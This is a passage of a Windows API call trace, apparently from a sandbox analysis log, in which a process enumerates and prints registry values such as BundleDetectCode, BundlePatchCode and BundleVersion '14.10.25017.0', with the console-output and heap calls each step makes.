lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.786] GetConsoleOutputCP () returned 0x1b5 [0150.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.786] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.786] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.786] lstrlenW (lpString="BundleDetectCode") returned 16 [0150.786] __iob_func () returned 0x7fefd702a80 [0150.786] _fileno (_File=0x7fefd702ab0) returned 1 [0150.786] _errno () returned 0x204bb0 [0150.786] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.786] _errno () returned 0x204bb0 [0150.786] GetFileType (hFile=0x50) returned 0x1 [0150.786] lstrlenW (lpString="BundleDetectCode") returned 16 [0150.786] GetConsoleOutputCP () returned 0x1b5 [0150.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0150.786] GetConsoleOutputCP () returned 0x1b5 [0150.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleDetectCode", lpUsedDefaultChar=0x0) returned 16 [0150.786] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0150.786] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.787] __iob_func () returned 0x7fefd702a80 [0150.787] _fileno (_File=0x7fefd702ab0) returned 1 [0150.787] _errno () returned 0x204bb0 [0150.787] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.787] _errno () returned 0x204bb0 [0150.787] GetFileType (hFile=0x50) returned 0x1 [0150.787] lstrlenW (lpString=" ") returned 4 [0150.787] GetConsoleOutputCP () returned 0x1b5 [0150.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.787] GetConsoleOutputCP () returned 0x1b5 [0150.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.787] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.787] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.787] __iob_func () returned 0x7fefd702a80 [0150.787] _fileno (_File=0x7fefd702ab0) returned 1 [0150.787] _errno () returned 0x204bb0 [0150.787] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.787] _errno () returned 0x204bb0 [0150.787] GetFileType (hFile=0x50) returned 0x1 [0150.787] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.787] GetConsoleOutputCP () returned 0x1b5 [0150.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.787] GetConsoleOutputCP () returned 0x1b5 [0150.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.788] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.788] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.788] __iob_func () returned 0x7fefd702a80 [0150.788] _fileno (_File=0x7fefd702ab0) returned 1 [0150.788] _errno () returned 0x204bb0 [0150.788] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.788] _errno () returned 0x204bb0 [0150.788] GetFileType (hFile=0x50) returned 0x1 [0150.788] lstrlenW (lpString=" ") returned 4 [0150.788] GetConsoleOutputCP () returned 0x1b5 [0150.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.788] GetConsoleOutputCP () returned 0x1b5 [0150.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.788] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.788] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.788] __iob_func () returned 0x7fefd702a80 [0150.788] _fileno (_File=0x7fefd702ab0) returned 1 [0150.788] _errno () returned 0x204bb0 [0150.788] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.788] _errno () returned 0x204bb0 [0150.788] GetFileType (hFile=0x50) returned 0x1 [0150.788] lstrlenW (lpString="\n") returned 1 [0150.788] GetConsoleOutputCP () returned 0x1b5 [0150.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.789] GetConsoleOutputCP () returned 0x1b5 [0150.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.789] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.789] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.789] GetProcessHeap () returned 0x3c0000 [0150.789] GetProcessHeap () returned 0x3c0000 [0150.789] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.789] GetProcessHeap () returned 0x3c0000 [0150.789] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.789] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.789] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundlePatchCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.789] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.789] GetProcessHeap () returned 0x3c0000 [0150.789] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.789] GetProcessHeap () returned 0x3c0000 [0150.789] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.789] GetProcessHeap () returned 0x3c0000 [0150.789] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.789] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0150.789] __iob_func () returned 0x7fefd702a80 [0150.789] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.789] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.789] _fileno (_File=0x7fefd702ab0) returned 1 [0150.789] _errno () returned 0x204bb0 [0150.789] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.789] _errno () returned 0x204bb0 [0150.789] GetFileType (hFile=0x50) returned 0x1 [0150.789] lstrlenW (lpString=" ") returned 4 [0150.789] GetConsoleOutputCP () returned 0x1b5 [0150.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.790] GetConsoleOutputCP () returned 0x1b5 [0150.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.790] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.790] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.790] lstrlenW (lpString="BundlePatchCode") returned 15 [0150.790] __iob_func () returned 0x7fefd702a80 [0150.790] _fileno (_File=0x7fefd702ab0) returned 1 [0150.790] _errno () returned 0x204bb0 [0150.790] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.790] _errno () returned 0x204bb0 [0150.790] GetFileType (hFile=0x50) returned 0x1 [0150.790] lstrlenW (lpString="BundlePatchCode") returned 15 [0150.790] GetConsoleOutputCP () returned 0x1b5 [0150.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.790] GetConsoleOutputCP () returned 0x1b5 [0150.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundlePatchCode", lpUsedDefaultChar=0x0) returned 15 [0150.790] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.790] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.790] __iob_func () returned 0x7fefd702a80 [0150.790] _fileno (_File=0x7fefd702ab0) returned 1 [0150.790] _errno () returned 0x204bb0 [0150.790] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.791] _errno () returned 0x204bb0 [0150.791] GetFileType (hFile=0x50) returned 0x1 [0150.791] lstrlenW (lpString=" ") returned 4 [0150.791] GetConsoleOutputCP () returned 0x1b5 [0150.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.791] GetConsoleOutputCP () returned 0x1b5 [0150.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.791] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.791] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.791] __iob_func () returned 0x7fefd702a80 [0150.791] _fileno (_File=0x7fefd702ab0) returned 1 [0150.791] _errno () returned 0x204bb0 [0150.791] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.791] _errno () returned 0x204bb0 [0150.791] GetFileType (hFile=0x50) returned 0x1 [0150.791] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.791] GetConsoleOutputCP () returned 0x1b5 [0150.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.791] GetConsoleOutputCP () returned 0x1b5 [0150.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.791] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.791] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.792] __iob_func () returned 0x7fefd702a80 [0150.792] _fileno (_File=0x7fefd702ab0) returned 1 [0150.792] _errno () returned 0x204bb0 [0150.792] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.792] _errno () returned 0x204bb0 [0150.792] GetFileType (hFile=0x50) returned 0x1 [0150.792] lstrlenW (lpString=" ") returned 4 [0150.792] GetConsoleOutputCP () returned 0x1b5 [0150.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.792] GetConsoleOutputCP () returned 0x1b5 [0150.792] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.792] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.792] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.792] __iob_func () returned 0x7fefd702a80 [0150.792] _fileno (_File=0x7fefd702ab0) returned 1 [0150.792] _errno () returned 0x204bb0 [0150.792] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.792] _errno () returned 0x204bb0 [0150.792] GetFileType (hFile=0x50) returned 0x1 [0150.792] lstrlenW (lpString="\n") returned 1 [0150.793] GetConsoleOutputCP () returned 0x1b5 [0150.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.793] GetConsoleOutputCP () returned 0x1b5 [0150.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.793] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.793] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.793] GetProcessHeap () returned 0x3c0000 [0150.793] GetProcessHeap () returned 0x3c0000 [0150.793] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.793] GetProcessHeap () returned 0x3c0000 [0150.793] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.793] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.793] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.793] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1e) returned 0x0 [0150.793] GetProcessHeap () returned 0x3c0000 [0150.793] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c30 [0150.793] GetProcessHeap () returned 0x3c0000 [0150.793] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.793] GetProcessHeap () returned 0x3c0000 [0150.793] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0150.793] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1e | out: pdwType=0x29f700*=0x1, pvData="14.10.25017.0", pcbData=0x29f780*=0x1c) returned 0x0 [0150.793] __iob_func () returned 0x7fefd702a80 [0150.793] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.793] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.793] _fileno (_File=0x7fefd702ab0) returned 1 [0150.793] _errno () returned 0x204bb0 [0150.793] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.794] _errno () returned 0x204bb0 [0150.794] GetFileType (hFile=0x50) returned 0x1 [0150.794] lstrlenW (lpString=" ") returned 4 [0150.794] GetConsoleOutputCP () returned 0x1b5 [0150.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.794] GetConsoleOutputCP () returned 0x1b5 [0150.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.794] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.794] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.794] lstrlenW (lpString="BundleVersion") returned 13 [0150.794] __iob_func () returned 0x7fefd702a80 [0150.794] _fileno (_File=0x7fefd702ab0) returned 1 [0150.794] _errno () returned 0x204bb0 [0150.794] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.794] _errno () returned 0x204bb0 [0150.794] GetFileType (hFile=0x50) returned 0x1 [0150.794] lstrlenW (lpString="BundleVersion") returned 13 [0150.794] GetConsoleOutputCP () returned 0x1b5 [0150.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.794] GetConsoleOutputCP () returned 0x1b5 [0150.794] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleVersion", lpUsedDefaultChar=0x0) returned 13 [0150.794] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.794] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.795] __iob_func () returned 0x7fefd702a80 [0150.795] _fileno (_File=0x7fefd702ab0) returned 1 [0150.795] _errno () returned 0x204bb0 [0150.795] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.795] _errno () returned 0x204bb0 [0150.795] GetFileType (hFile=0x50) returned 0x1 [0150.795] lstrlenW (lpString=" ") returned 4 [0150.795] GetConsoleOutputCP () returned 0x1b5 [0150.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.795] GetConsoleOutputCP () returned 0x1b5 [0150.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.795] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.795] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.795] __iob_func () returned 0x7fefd702a80 [0150.795] _fileno (_File=0x7fefd702ab0) returned 1 [0150.795] _errno () returned 0x204bb0 [0150.795] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.795] _errno () returned 0x204bb0 [0150.795] GetFileType (hFile=0x50) returned 0x1 [0150.795] lstrlenW (lpString="REG_SZ") returned 6 [0150.795] GetConsoleOutputCP () returned 0x1b5 [0150.795] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.795] GetConsoleOutputCP () returned 0x1b5 [0150.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.796] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.796] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.796] __iob_func () returned 0x7fefd702a80 [0150.796] _fileno (_File=0x7fefd702ab0) returned 1 [0150.796] _errno () returned 0x204bb0 [0150.796] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.796] _errno () returned 0x204bb0 [0150.796] GetFileType (hFile=0x50) returned 0x1 [0150.796] lstrlenW (lpString=" ") returned 4 [0150.796] GetConsoleOutputCP () returned 0x1b5 [0150.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.796] GetConsoleOutputCP () returned 0x1b5 [0150.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.796] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.796] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.796] __iob_func () returned 0x7fefd702a80 [0150.796] _fileno (_File=0x7fefd702ab0) returned 1 [0150.796] _errno () returned 0x204bb0 [0150.796] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.796] _errno () returned 0x204bb0 [0150.796] GetFileType (hFile=0x50) returned 0x1 [0150.796] lstrlenW (lpString="14.10.25017.0") returned 13 [0150.796] GetConsoleOutputCP () returned 0x1b5 [0150.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017.0", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.797] GetConsoleOutputCP () returned 0x1b5 [0150.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017.0", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.10.25017.0", lpUsedDefaultChar=0x0) returned 13 [0150.797] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.797] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.797] __iob_func () returned 0x7fefd702a80 [0150.797] _fileno (_File=0x7fefd702ab0) returned 1 [0150.797] _errno () returned 0x204bb0 [0150.797] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.797] _errno () returned 0x204bb0 [0150.797] GetFileType (hFile=0x50) returned 0x1 [0150.797] lstrlenW (lpString="\n") returned 1 [0150.797] GetConsoleOutputCP () returned 0x1b5 [0150.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.797] GetConsoleOutputCP () returned 0x1b5 [0150.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.798] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.798] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.798] GetProcessHeap () returned 0x3c0000 [0150.798] GetProcessHeap () returned 0x3c0000 [0150.798] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.798] GetProcessHeap () returned 0x3c0000 [0150.798] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0150.798] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.798] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleProviderKey", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.798] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2a) returned 0x0 [0150.798] GetProcessHeap () returned 0x3c0000 [0150.798] RtlAllocateHeap 